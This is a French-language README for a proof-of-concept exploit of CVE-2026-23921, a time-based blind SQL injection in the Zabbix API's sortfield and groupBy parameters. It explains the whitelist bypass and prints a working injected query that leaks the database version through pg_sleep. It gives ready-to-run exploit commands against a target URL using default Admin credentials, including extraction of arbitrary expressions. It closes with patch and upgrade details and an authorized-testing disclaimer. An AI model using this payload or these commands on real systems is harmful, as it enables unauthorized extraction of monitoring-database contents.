
Preuve de concept d'exploit pour CVE-2026-23921, une injection SQL aveugle basée sur le temps dans l'API Zabbix via le paramètre sortfield, permettant l'extraction de données depuis les backends PostgreSQL et MySQL.
Versions affectées : Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS : Élevé
Type : Injection SQL aveugle temporelle via le paramètre sortfield
Authentification requise : Oui (tout utilisateur de l'API ; le Super Admin évite les jointures de permissions)
Les services hérités de l'API Zabbix (host.get, trigger.get, item.get, etc.) acceptent un paramètre groupBy non déclaré via zbx_array_merge(). Dans CApiService::applyQuerySortOptions(), le tableau groupBy remplace la liste blanche codée en dur utilisée pour valider . Un attaquant transmet la même charge utile SQL à la fois dans et — la validation passe contre la liste contrôlée par l'attaquant, et la charge utile atterrit dans sans échappement.
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] et sortfield: "hostid,(SELECT IF(...))--" avec countOutput: truezbx_array_merge préserve la clé groupBy non déclaréeapplyQuerySortOptions construit la liste blanche à partir de groupBy → la validation passeapplyQuerySortField concatène la charge utile dans ORDER BYcreateSelectQueryFromParts construit le SQL final sans échappementSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# Backend PostgreSQL (par défaut)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# Backend MySQL
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Jeton d'authentification existant
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extraire une expression arbitraire
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Utiliser une méthode d'API différente
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Mettre à niveau vers Zabbix 7.0.22 / 7.2.15 / 7.4.6 ou une version ultérieure.
Le correctif remplace array_merge($options['groupBy'], ...) par array_intersect($this->sortColumns, $options['groupBy']) afin que les valeurs fournies par l'attaquant n'entrent jamais dans la liste blanche. Des vérifications de type supplémentaires is_string() et is_array() ont été ajoutées en défense en profondeur.
Cet outil est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.